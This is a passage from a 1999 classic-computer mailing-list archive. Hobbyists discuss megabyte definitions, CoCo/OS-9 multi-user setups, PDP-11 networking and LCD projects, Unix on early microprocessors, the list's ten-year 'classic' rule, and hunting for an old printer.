5-1/4" diskettes Message-ID: <01be468a$e8bbb740$ad9ba6d1@the-general> Well, every computer I have that has 1 MB or more or RAM. Which is a total of Hmm.. 4. All my others only have 640k. two are IBM's, one's a toshiba, and the other's my P200. -- -Jason Willgruber (roblwill@usaor.net) ICQ#: 1730318 -----Original Message----- From: Tony Duell To: Discussion re-collecting of classic computers Date: Friday, January 22, 1999 4:27 PM Subject: Re: Reiability of wrong media (was: is out of 5-1/4" diskettes >> >> Every computer that I've ever owned, When it does a memory test of "1 >> megabyte", the listing is always >> >> 1024KB......OK. > >I can't work out if you're agreeing with me or not. > >However, 1024KB _is_ 1 Megabyte. It's 1024 * 1024 (=1048576) bytes. >Unless 'every computer that you've ever owned' defines 1KB as 1000 bytes >(hint : none of mine do that). > >-tony > > From manney at hmcltd.net Fri Jan 22 11:34:09 1999 From: manney at hmcltd.net (PG Manney) Date: Sun Feb 27 18:40:27 2005 Subject: FA: Panasonic 200U. Be the first on your block! Message-ID: <01be462d$6b04c560$01bfbfbf@toshiba-115cs> Panasonic 200U with 32K memory, Instruction book, box (pretty beat up). Nothing happens on the screen when it's turned on, and beeps each time a key is pressed. The unit is on fine shape (cosmetically), though. It;s a flat CoCo-looking thing, with rubber chicklet keys. I can send a pic to anyone interested. Following the current practice, I guess I'll ask $8,500 on eBay, but I thought I'd offer it for a discount (say, $8,499.95) to the group. Anyone interested for the price of shipping and a few bucks? manney@hmcltd.net (please note address change) From gram at cnct.com Fri Jan 22 20:07:34 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Tony Duell wrote: > Who ever said my Model 4 was 'stock'? It's not. It was modified a bit by > the previous owner and then some more by me. It's got 4 internal drives > (all half-height, of course), 2 40 track and 2 80 track. It's also got a > realtime clock module under the Z80 and an external Cumana hard disk unit. Under the Z-80? All of the plans for putting in a Dallas clock chip that I ever saw stuck it under the BASIC (or boot in the 4P's case) ROM. > None the less it works :-) Naturally. The Model 4 was a great design. (The Model 2 was better, but it didn't need to be backward compatible). > > official products. That's like letting on that OS-9 Level One could > > be used by more than one person on the same 64k TRS-80 Color Computer > > I see... So I suppose the fact that I hung a terminal off my CoCo 2 and > later my CoCo3 (running OS-9 Level 1 and 2 respectively) was my > imagination, right ;-) I set up a multi-user system in my classroom in the Radio Shack Computer Center in downtown Los Angeles with a 64k CoCo with one floppy and OS-9 on one end and a 16k CoCo with a Vidtex ROM at the other end of a kluged null-modem cable between the bit-banger ports. I was being facetious in my previous comment, honest. The company of course never supported the configuration. That was before the official RS-232 Pak, so of course the system couldn't print and due to poor handshaking between the bit-banger ports, the "terminal" tended to drop characters if you typed during a floppy access. After a change of managers, I didn't get a chance to redo the system with better serial connection and a hard disk, the new guy wasn't as cooperative. He thought it would trivialize Xenix or something. Bastard. As though I'd risk trivializing my greatest love at the time -- I knew the difference between a 6809 and a 68k. By the time OS-9 Level 2 showed up, I was always up to my ass in alligators anyway with the damned Tandy 1000 and its constant demands for tech support. > I built my own RS232 cartridge for the CoCo. It only supported 110,300 > and 1200 baud (oh, and an external baud rate generator), but it had 3 > ports and fitted into a single cartridge. It was also a lot cheaper than > the Tandy one. I've got a couple of two and three port RS-232 cartridges here for my CoCo 3 systems and their hard disks. If the cablemodem works as it's supposed to, in not too many weeks it'll be possible for guests to telnet into my Linux box and get a serial login to OS-9 Level 2 as well as Tandy 6000 Xenix (after I figure out why it doesn't want to talk to the hard disk) an AT&T 7300 and possibly a few other things. Assuming that La Esposa permits me to use that much electricity at a time. I may have to rotate things on a schedule or something. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From gram at cnct.com Fri Jan 22 20:12:55 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, Tony Duell wrote: > Can you find a reference (other than an advert :-)) that defines it any > other way? > > Anyway, I might accept that 1Mbyte = 10^6 bytes, particularly if you > happen to have a decimal or BCD machine :-) (this is classiccmp). But I > don't see any justification for making it 1024000 bytes. And that's the > only way you can have '1.44Mbytes' on a HD 3.5" disk And we get the 10^6 error as well of course with the Atari STs, models 520 and 1040. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From ard at p850ug1.demon.co.uk Fri Jan 22 20:08:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: from "Ward D. Griffiths III" at Jan 22, 99 09:07:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 407 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/3eb7d3fd/attachment.ksh From gram at cnct.com Fri Jan 22 20:30:49 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes In-Reply-To: Message-ID: On Fri, 22 Jan 1999, George Currie wrote: > Just on a side note, I always thought that the proper way to state > the abbreviations were MB and GB _not_ Mb and Gb. With the > caps B meaning Byte and the little b meaning bit. So 8Mb would > be 8 MegaBits while 8MB would be 8MegaBytes, ethernet would > be 10Mbps while fast SCSI is 10MBps (slight difference). There's a reason why I personally rarely reduce abbreviations all the way to two characters. I usually use {K|M|G}b{y|i}t[e][s]. If I leave it at just {K|M|G}, assume bytes. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From jhfine at idirect.com Fri Jan 22 20:34:20 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:27 2005 Subject: ReLiability of wrong media (was: is out of 5-1/4" diskettes References: Message-ID: <36A9352C.ECF72A4F@idirect.com> >Sam Ismail wrote: > Well by golly we must reclaim the megabyte by boycotting companies that > abuse it like that horrid IBM!! Jerome Fine replies: If you want to really complain, look at the optical disk drives produced by Sony. I suggest that no one ever called a 180 KByte floppy drive a 360 KByte floppy when you use a flippy (i.e. before there were double sided floppy disk drives for the media which was double-sided in almost all cases, but was ONLY used on one side when there was ONLY one notch and pair of index holes - I presume most of those reading this ridiculous thread now understand filppies - OK, I am guilty of making a contribution also, but I just could not resist!) just because you could turn the floppy over and use the other side. Well, when Sony first brought out their 5 1/4" magneto-optical media which was double sided, BUT the drive was ONLY single-sided (there was about 300 MBytes formatted or about 325 MBytes unformatted per side of the platter), the drive was stated to have a capacity of 650 MBytes because the platter could be manually removed and turned over to access the other side to look at the other 300 MBytes when it was re-inserted into the drive (which could see ONLY 300 MBytes at a time). So while IBM may have fudged by a percent or two, Sony just went ahead and doubled the drive capacity - as if all single sided 180 KByte drives were instantly converted to 360 KByte drives by using a flippy!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From pechter at monmouth.com Fri Jan 22 20:38:41 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:27 2005 Subject: Alpha PC In-Reply-To: <4.1.19990122153230.00a0f7b0@mailhost.hq.freegate.com> from Chuck McManis at "Jan 22, 99 03:34:55 pm" Message-ID: <199901230238.VAA00606@pechter.nws.net> > Shouldn't this be: Could even be... Shouldn't this be: Oh, I wish I were an Alpha powered micro, That is what I truely want to be, 'cuz if I were an Alpha powered micro, I would soon be running FreeBSD. 'scuse the FreeBSD evangelism... I'd prefer an Alpha with VMS, though. I just ordered my OpenVMS rom for the Vax here... 8-) --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From sieler at allegro.com Fri Jan 22 20:46:20 1999 From: sieler at allegro.com (Stan Sieler) Date: Sun Feb 27 18:40:27 2005 Subject: UCSD P-System info Message-ID: <199901230246.SAA83357@bart.allegro.com> Hi, If you're interested in the UCSD P-system, the pages at: http://www.ics.uci.edu/~archive/documentation/p-system/p-system.html provide some info on it. The "owner" of the pages is Dr. Alfred Bork, one of the implementors of UCSD Pascal. -- Stan Sieler sieler@allegro.com http://www.allegro.com/sieler.html From cswiger at wilma.widomaker.com Fri Jan 22 20:58:59 1999 From: cswiger at wilma.widomaker.com (cswiger) Date: Sun Feb 27 18:40:27 2005 Subject: WooHoo!! PC/XT Unix anyone? In-Reply-To: <199901222328.PAA18326@oa.ptloma.edu> Message-ID: On Fri, 22 Jan 1999, Cameron Kaiser wrote: > ::"On somewhat of a tangent, there is continuing work to > ::support a subset of the Linux kernel on 8086, 8088, > ::80186, and 80286 machines. This project will never > > I'm waiting for Linux/6502. > > We used to have a 'C' compiler for Atari 8 bits, called 'Deep Blue C'. I suppose a clever programmer could trim some GNU tools down to run on 6502s. Chuck cswiger@widomaker.com From gram at cnct.com Fri Jan 22 21:28:44 1999 From: gram at cnct.com (Ward D. Griffiths III) Date: Sun Feb 27 18:40:27 2005 Subject: WooHoo!! PC/XT Unix anyone? In-Reply-To: Message-ID: On Fri, 22 Jan 1999, cswiger wrote: > On Fri, 22 Jan 1999, Cameron Kaiser wrote: > > I'm waiting for Linux/6502. > We used to have a 'C' compiler for Atari 8 bits, called > 'Deep Blue C'. I suppose a clever programmer could trim > some GNU tools down to run on 6502s. Well, a lot of the Gnu material runs just fine on the 6809 under OS-9 (Level 1 as well as Level 2). And I know a fair amount of the toolkit was once ported to the Apple GS. ELKS is a fascinating project. I wish I was competent to participate. -- Ward Griffiths "the timid die just like the daring; and if you don't take the plunge then you'll just take the fall" Michael Longcor From mbg at world.std.com Fri Jan 22 21:35:29 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:27 2005 Subject: Reiability of wrong media (was: is out of 5-1/4" diskettes Message-ID: <199901230335.AA24821@world.std.com> >If so, how does 1474560 become 1.44M, not 1.47M? >The only way is to mix the terms, and use 1024000 as a meg! That is >NEITHER the power of ten, NOR the power of two. In addition, it is NOT >what they then use to measure memory! Heck, I don't know about PCs... they do strange things. In pdp-11 land, we all talked about powers-of-two for memory and disk space, and knew full well that the actual count of bytes was going to be different. 1 Kb is 1024 bytes. 64 Kb is 65536 bytes. 128 Kb was 131072 bytes. and so on... Worked the same way for disks... RT-11 architectural limit for a disk volume is 32 Mbytes. That's 65536 (blocks) * 512 (bytes) ---------------------------- = 32 Mb 1024 * 1024 It all just seemed to work properly *in the ole days*, PCs screwed things up... :-) Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg | +--------------------------------+-------------------------------------+ From healyzh at aracnet.com Fri Jan 22 22:03:17 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:27 2005 Subject: PC's Limited In-Reply-To: <199901222051.PAA23859@user2.infinet.com> References: <3.0.5.32.19990122142140.00d1f100@pc> from "John Foust" at Jan 22, 99 02:21:40 pm Message-ID: >Those are very nice. For the cheap bastards on the list, I have been working >with the PICanLCD from B. G. Micro. I got a 4x20 LCD from them for $9, >the PICanLCD chip for ~$12, and the ready-to-go PCB for ~$12. For that kind of a price difference I think I wouldn't mind being called a cheap bastard! However, in looking at the URL's that have been flying about I notice that they've apparently got the Matrix Orbital modules with the Keypads working. Now that's what I really want. I'd love to be able to punch a couple buttons on the front panel of my computer and get it to reboot, halt, or play my favorite MP3's! Besides I prefer the looks of the VFD's to the LCD's. Be pretty wild if I end up buying a bigger tower case to put a front panel on it :^) People interested in this might want to look in the applicable hardware directory on Sunsite also. Following the links on this kind of stuff a couple months ago, I discovered it's got some related projects that include using LED's IIRC. >P.S. Any interest in LCD code for the 6502? No, but I'd love to see it for the PDP-11 :^) Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From healyzh at aracnet.com Fri Jan 22 23:05:03 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:27 2005 Subject: DELQA Switch Settings Message-ID: OK, I'm almost ready to downgrade my PDP-11/73 to a DEQNA since I've got plenty of Doc's for it :^) Does anyone have the switch settings for DELQA ethernet card such as they are? BTW, for a PDP-11 is there any real difference in the two cards? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From cube at msn.fullfeed.com Fri Jan 22 23:06:55 1999 From: cube at msn.fullfeed.com (Jay Jaeger) Date: Sun Feb 27 18:40:27 2005 Subject: WooHoo!! PC/XT Unix anyone? In-Reply-To: Message-ID: <199901230516.XAA13351@fullfeed.msn.fullfeed.com> Actually, there was a thingy called PC/IX which ran on those non memory-managed systems. I actually managed to snag a copy a few years ago. Jay At 04:28 PM 1/22/99 -0500, cswiger wrote: >Spotted this in a Linuxtoday.com article on the latest >linux kernel: > >"On somewhat of a tangent, there is continuing work to >support a subset of the Linux kernel on 8086, 8088, >80186, and 80286 machines. This project will never >integrate itself with Linux-proper but will provide >an alternative Linux-subset operating system for >these machines. " > >Hmmm, I do have *a* 'C' compiler running on one of those >Compaq luggables... > > Chuck > cswiger@widomaker.com > From jhfine at idirect.com Fri Jan 22 23:23:33 1999 From: jhfine at idirect.com (Jerome Fine) Date: Sun Feb 27 18:40:27 2005 Subject: LSI-11 Processor Status Word References: Message-ID: <36A95CD5.C124CB61@idirect.com> >Zane H. Healy wrote: > Stupid question: I'm trying to install TCP/IP on my PDP-11/73 running RT-11 > V5.4 and am trying to choose the proper driver. Does the PDP-11/73 CPU > have a Processor Status Word? Jerome Fine replies: YES!! As Megan Gentry said, all CPUs based on the J11 chip have a PSW at 177776 within a program and via hardware ODT at: 777776 on an 18 bit address bus 17777776 on a 22 bit address bus However, even an LSI-11/02 has a PSW, but you have to use an instruction (MFPS) to access it and (MTPS) to write to it. I believe that all Unibus system have a PSW. There was some mention that the hardware for TCP/IP uses the date as part of the message (part of ethernet??). Is that true?? And how does that interact with RT-11 or TSX-PLUS? Also, do you mean V5.4 "blank" of RT-11 which was released in 1986 or a later version such as V5.4G which was released in December 1988? > Also, if you've got a driver for TSX-11 do you have to have corresponding > driver for RT-11 installed? If you mean TSX-PLUS, then NO!! Unless of course you also want to us use the same (hardware - not always) features under RT-11. About the only device driver which you must have in both RT-11 and TSX-PLUS is the system boot device since, as far as I know, TSX-PLUS can be booted only as a system device since the command to boot must be "R TSX", although it is likely that "RUN SY:TSX.SAV" would also be correct. Note that under V5.4 of RT-11 which are distributed from DEC, if you are on a DU.SYS device driver (you may boot from RT11FB although RT11SJ is usually recommended), DEC did not allow you to boot RT-11 from a non-zero partition. There is a patch to the DU.SYS file which will allow a software boot from a non-zero partition and thereafter from a non-zero partition for TSX-PLUS. I won't ask if you want either the RT-11 or the TSX-PLUS to be Y2K compliant. Sincerely yours, Jerome Fine RT-11/TSX-PLUS User/Addict From erd at infinet.com Sat Jan 23 00:04:18 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:27 2005 Subject: PC's Limited In-Reply-To: from "Zane H. Healy" at Jan 22, 99 08:03:17 pm Message-ID: <199901230604.BAA29464@user2.infinet.com> Zane Healy writes; > However, in looking at the URL's that have been flying about I notice that > they've apparently got the Matrix Orbital modules with the Keypads working. > Now that's what I really want. I'd love to be able to punch a couple > buttons on the front panel of my computer and get it to reboot, halt, or > play my favorite MP3's! lcdproc 0.4pre1 (and up) has a joystick driver for buttons not attached to the LCD module. I have been frantically looking for my Gravis joypad to no avail. :-( > Besides I prefer the looks of the VFD's to the LCD's. The VFD's are way cool and twice as expensive as the expensive LCD's. I want one too, but not at $150+. > >P.S. Any interest in LCD code for the 6502? > > No, but I'd love to see it for the PDP-11 :^) Ooh! There's a challenge. To keep this on the classiccmp topic list... how would it be best to attach one? Serial, obviously, but what OS? I could cobble some MACRO together in a few hours to drive a serial LCD on demand from RT-11, but I never did much more than FORTRAN on RSX. I wouldn't guarantee most lcdproc clients would work on RT, but it might be possible to port it to RSTS in toto. Are there any RSTS-internals guru's out there? The default lcdproc clients give current time, uptime, CPU usage, load (graphically) and memory stats. I'm porting the clients to Solaris and find that I need to know the total memory, the swap size, the swap in use, the physical mem in use, percentage of CPU in user mode, system (kernel) mode, free and "nice"'ed, uptime and current wall time. How much of this is accessible from RSTS? Most of it is irrelevant from RT, ISTR. -ethan From healyzh at aracnet.com Sat Jan 23 00:43:34 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:27 2005 Subject: PC's Limited In-Reply-To: <199901230604.BAA29464@user2.infinet.com> References: from "Zane H. Healy" at Jan 22, 99 08:03:17 pm Message-ID: >lcdproc 0.4pre1 (and up) has a joystick driver for buttons not attached >to the LCD module. I have been frantically looking for my Gravis joypad >to no avail. :-( Hrmmm? OK, I'll show my lack of non-UNIX PC knowledge here, what does a Gravis Joypad connect to, and would one work on a Alpha Multia? >> >P.S. Any interest in LCD code for the 6502? >> >> No, but I'd love to see it for the PDP-11 :^) > >Ooh! There's a challenge. To keep this on the classiccmp topic list... how >would it be best to attach one? Serial, obviously, but what OS? I could >cobble some MACRO together in a few hours to drive a serial LCD on demand >from RT-11, but I never did much more than FORTRAN on RSX. The code is in C, right? I've got a C compiler or two for RT-11 and one for RSX-11M. Of course I've never gotten around to looking at the lcdproc code, and I imagine that it's heavily involved with the Linux /proc filesystem. >I wouldn't guarantee most lcdproc clients would work on RT, but it might >be possible to port it to RSTS in toto. Are there any RSTS-internals >guru's out there? The default lcdproc clients give current time, uptime, >CPU usage, load (graphically) and memory stats. I'm porting the clients I think for RSX or RSTS it would be cool just to have it show how many users are currently online and that the system is running. Of course ideally more. >to Solaris and find that I need to know the total memory, the swap size, >the swap in use, the physical mem in use, percentage of CPU in user mode, >system (kernel) mode, free and "nice"'ed, uptime and current wall time. COOL, how much of that would be applicable to SunOS? Myself and one of the people at work would love to see about connecting this to an Auspex, and they run a chopped up version of SunOS. >How much of this is accessible from RSTS? Most of it is irrelevant from >RT, ISTR. Don't know about RSTS, but most if not all is available to RSX. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From joe at barrera.org Sat Jan 23 00:46:44 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:27 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] Message-ID: <007f01be469c$24f808b0$11d53d9d@JOEBAR> >Actually, there was a thingy called PC/IX which ran on those non >memory-managed systems. I actually managed to snag a copy a few years ago. Well, and of course there's Minix (where Linux started)... Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the original Unix was done on a 64KB address space machine... - Joe From todd.osborne at barnstormer-software.com Sat Jan 23 00:56:43 1999 From: todd.osborne at barnstormer-software.com (Todd Osborne) Date: Sun Feb 27 18:40:27 2005 Subject: Where to buy Gorilla Banana printers? Message-ID: <001401be469d$88cf0130$01646464@codewarrior.fmstrategies.com> Anyone know where I can find a Gorilla Banana printer? I have searched all the "normal" channels. These things were so popular in the early 80's, I can't believe they have all disappeared. Thanks, -------------------------------------------------------- Todd Osborne Senior Software Engineer FMStrategies, Inc. http://www.fmstrategies.com/ -------------------------------------------------------- FMStrategies, Inc: tosborne@fmstrategies.com Internet E-Mail: todd.osborne@barnstormer-software.com -------------------------------------------------------- Founder of the Virtual Windows Class Library (C++) http://www.barnstormer-software.com/vwcl/ -------------------------------------------------------- Anagrams? (http://www.wordsmith.org/anagram/) Can you figure out this one? Want the answer? E-Mail me. COCO VERDI MOM (Hint: Think Late 1970's Computer) -------------------------------------------------------- Quote: "The timid die just like the daring, and if you don't take the plunge then you'll just take the fall" - Michael Longcor From joe at barrera.org Sat Jan 23 00:55:15 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:27 2005 Subject: ten year rule. Message-ID: <009201be469d$5544e1e0$11d53d9d@JOEBAR> >Let us not forget the *amazing* diversity of form in the PC market in the >last 10 years! I have laptops, pen-based machines, hermetically sealed >touchscreen boxes, handhelds, luggables, even credit card PCs that are >distinctly classics and generally less than even 10 years olds. I nominate the HP 200LX as a definite classic. It's a handheld XT clone that has a very loyal following, and that is still being made (despite HP's support of Windows CE which *theoretically* is supposed to make handheld DOS machines obsolete...) - Joe From go at ao.com Sat Jan 23 01:04:36 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:27 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <007f01be469c$24f808b0$11d53d9d@JOEBAR> Message-ID: <4.1.19990122230032.034eb100@office.ao.com> Damn. I'm home and can't look it up... But I believe I recall something called (IIRC) "Micronix" (or something similar) that ran on a Godbout or Morrow system. I have some hardware documentation for the system that ran it - got it in anticipation of getting one of the S-100 CPU boards. The system had a memory paging system on top of a Z-80 and included some fairly sophisticated protection (both memory and I/O) that would have permitted a Unix-like system to operate securely. I'll dig it up next week. Gary At 10:46 PM 1/22/99 -0800, you wrote: >>Actually, there was a thingy called PC/IX which ran on those non >>memory-managed systems. I actually managed to snag a copy a few years ago. > >Well, and of course there's Minix (where Linux started)... > >Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the >original Unix was done on a 64KB address space machine... > >- Joe From doug at blinkenlights.com Sat Jan 23 01:11:39 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:27 2005 Subject: Where to buy Gorilla Banana printers? In-Reply-To: <001401be469d$88cf0130$01646464@codewarrior.fmstrategies.com> Message-ID: On Sat, 23 Jan 1999, Todd Osborne wrote: > Anyone know where I can find a Gorilla Banana printer? I have searched all > the "normal" channels. These things were so popular in the early 80's, I > can't believe they have all disappeared. Thanks, I saw one at a local thrift recently, emitted a brief nostalgic sigh, and then moved on. I'll check to see if it's still there, but I'd recommend a laser printer instead :-) -- Doug From jim at calico.litterbox.com Sat Jan 23 01:26:23 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:40:27 2005 Subject: ten year rule. In-Reply-To: <009201be469d$5544e1e0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at Jan 22, 1999 10:55:15 PM Message-ID: <199901230726.AAA03230@calico.litterbox.com> > > >Let us not forget the *amazing* diversity of form in the PC market in the > >last 10 years! I have laptops, pen-based machines, hermetically sealed > >touchscreen boxes, handhelds, luggables, even credit card PCs that are > >distinctly classics and generally less than even 10 years olds. > > I nominate the HP 200LX as a definite classic. It's a handheld XT clone > that has a very loyal following, and that is still being made (despite HP's > support of Windows CE which *theoretically* is supposed to make > handheld DOS machines obsolete...) > > - Joe They're good little machines, except the LCD display looses vertical lines over time as the wires through the hinge break. Not quite 10 years old though. Does being designed around XT class hardware count? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From hhacker at gte.net Sat Jan 23 02:23:49 1999 From: hhacker at gte.net (Buck Savage) Date: Sun Feb 27 18:40:27 2005 Subject: ten year rule. Message-ID: <000601be46a9$b5c66cd0$01010101@amranhqpo000000.jps.net> >Jim Strickland >jim@DIESPAMMERSCUMcalico.litterbox.com > >Does being designed around XT class hardware count? > Certainly is a laudable argument. How many XT systems are manufactured today? I can't imagine any myself, save for embedded systems. So, i'll vote for the term classic as applied to the presence of an XT foundation. William R. Buckley From marvin at rain.org Sat Jan 23 02:28:51 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:27 2005 Subject: Where to buy Gorilla Banana printers? References: <001401be469d$88cf0130$01646464@codewarrior.fmstrategies.com> Message-ID: <36A98843.30F30CE8@rain.org> Todd Osborne wrote: > > Anyone know where I can find a Gorilla Banana printer? I have searched all > the "normal" channels. These things were so popular in the early 80's, I > can't believe they have all disappeared. Thanks, ebay had one with a starting bid of $3.00 located in NJ but it didn't sell. Perhaps you can get in touch with the seller and see if (s)he still has it. The URL is: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=54766460 Good luck! From hhacker at gte.net Sat Jan 23 02:49:31 1999 From: hhacker at gte.net (Buck Savage) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <000c01be46ad$4d23c930$01010101@amranhqpo000000.jps.net> Given that Classic Computer(s) list members can agree on a standard for the application of the term "classic" with regard to collected computing (and other) hardware, is that as far as it goes? Perhaps there is more to value in the discussion. The act in which we all participate, the collection, repair and restoration, and operation of collectable computers and software has become vogue. Hence, given our collective expertise on this matter, it is our opportunity to effect the language and propriety of our activity. I am sure that many would benefit from a formal presentation of the collective view of the propriety of applying the term "classic" to a computer, etc. To do so would not be different from the same activity as applied to antiques, numismatics, philately, etc. It is exactly in this way that these, and other, standards of collectability (a measure of "value" not necessarily economically justifiable) are derived, becoming manifest. I think that we would be doing ourselves and our activity justice. What say you? William R. Buckley From doug at blinkenlights.com Sat Jan 23 03:00:04 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. In-Reply-To: <000c01be46ad$4d23c930$01010101@amranhqpo000000.jps.net> Message-ID: On Sat, 23 Jan 1999, Buck Savage wrote: > To do so would not be different from the same activity as applied to > antiques, numismatics, philately, etc. It is exactly in this way that > these, and other, standards of collectability (a measure of "value" not > necessarily economically justifiable) are derived, becoming manifest. A "universal" rating/certification system, similar to the way coins are graded, would be ideal. But I don't think you'll ever get this group to agree on anything -- just do it! (And then sell a book.) Forget the word "classic". A guide that gives production numbers, variations, years, criteria to judge condition, price, etc. would be cool -- I'd buy one, and I'd buy a new copy every year as you updated prices and other info. Start with Hans P's list of machines (and pay him royalties). -- Doug From hhacker at gte.net Sat Jan 23 03:13:44 1999 From: hhacker at gte.net (Buck Savage) Date: Sun Feb 27 18:40:27 2005 Subject: Memory. (was: Reliability of wrong media) Message-ID: <002a01be46b0$ae58dbc0$01010101@amranhqpo000000.jps.net> >Heck - my home PC has 128 Mb... which shows up through the >POST as 130nnn (I forget the last three digits). 128 * 1024 = 131072 Hence, if your display is 131072K then your display is accurate. K means 1024, and that is universally accepted by all programmers! It is we, the programmers of the world, who define the value of such symbols, and I say, it is also our prerogrative if ensure that their use by lay persons is accurate. This is not any different than du Pont protecting the meaning of the name teflon, nor Xerox the meaning of the name Xerox. If this is not the display, then perhaps it is (128 * 1024) - (1024 - 640) = 130688 and this value would be accurate, in the sense that the region of memory between 640K and 1M is typically excluded from the sum of all memory available within a PC environment because is is mapped out so that the I/O devices may be memory mapped. William R. Buckley -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990123/1a4030e4/attachment.html From netcafe at pirie.mtx.net.au Sat Jan 23 03:13:43 1999 From: netcafe at pirie.mtx.net.au (Computer Room Internet Cafe) Date: Sun Feb 27 18:40:27 2005 Subject: Legitimacy of the Ten Year Rule. Message-ID: <01be46b0$ac414660$f17d38cb@netcafe.pirie.mtx.net.au> I personally feel the 10 year "rule" is useful as a guide, however, I also consider that there are several machines that rightly qualify as "Classic Computers" that are less than 10 years old. There is a particular "grey" area in that a particular machine might span the period. I suppose logically, we should look at when a particular box was FIRST made. I have 2 Vax 6000's here (which I propose to the list are a "Classic" regardless of age") one is 89 manufacture and therefore (just) 10 years old. The other is a 1990 build. Microvaxen have been around for a fair while now, but I am given to understand they are still orderable, new, from Digital. IMHO, I would also class ANY Microvax as a "Classic" regardless of age. In fairness to all, it's unlikely that we want to see extensive discussions of the vagaries of Pentium II's discussed here (for some years at least!) but I am confident that the 10 year rule is meant to guide us, not shackle us to a time frame. i.e. IF you have a machine that is less than that age, or you wish to discuss it on the list, and IF you consider it to be a classic in it's own right, then I suggest it be put to the list. IF the consensus of list members is that it should be classed as a classic, then so be it. Just my 2c worth. Your opinions and/or mileage may vary. Cheers Geoff Roberts Computer Room Internet Cafe Port Pirie South Australia. netcafe@pirie.mtx.net.au From pechter at monmouth.com Sat Jan 23 04:39:28 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:27 2005 Subject: Unix for 8080/Z80? [Re: WooHoo!! PC/XT Unix anyone?] In-Reply-To: <007f01be469c$24f808b0$11d53d9d@JOEBAR> from "Joseph S. Barrera III" at "Jan 22, 99 10:46:44 pm" Message-ID: <199901231039.FAA05318@pechter.nws.net> > >Actually, there was a thingy called PC/IX which ran on those non > >memory-managed systems. I actually managed to snag a copy a few years ago. > > Well, and of course there's Minix (where Linux started)... > > Any Unix clones for 8080/Z80 systems? It ought to be doable, given that the > original Unix was done on a 64KB address space machine... > > - Joe > There's a thing called Uzi that was done, but I think it required some bank switching and 128kb. Bill --- Bill Gates is 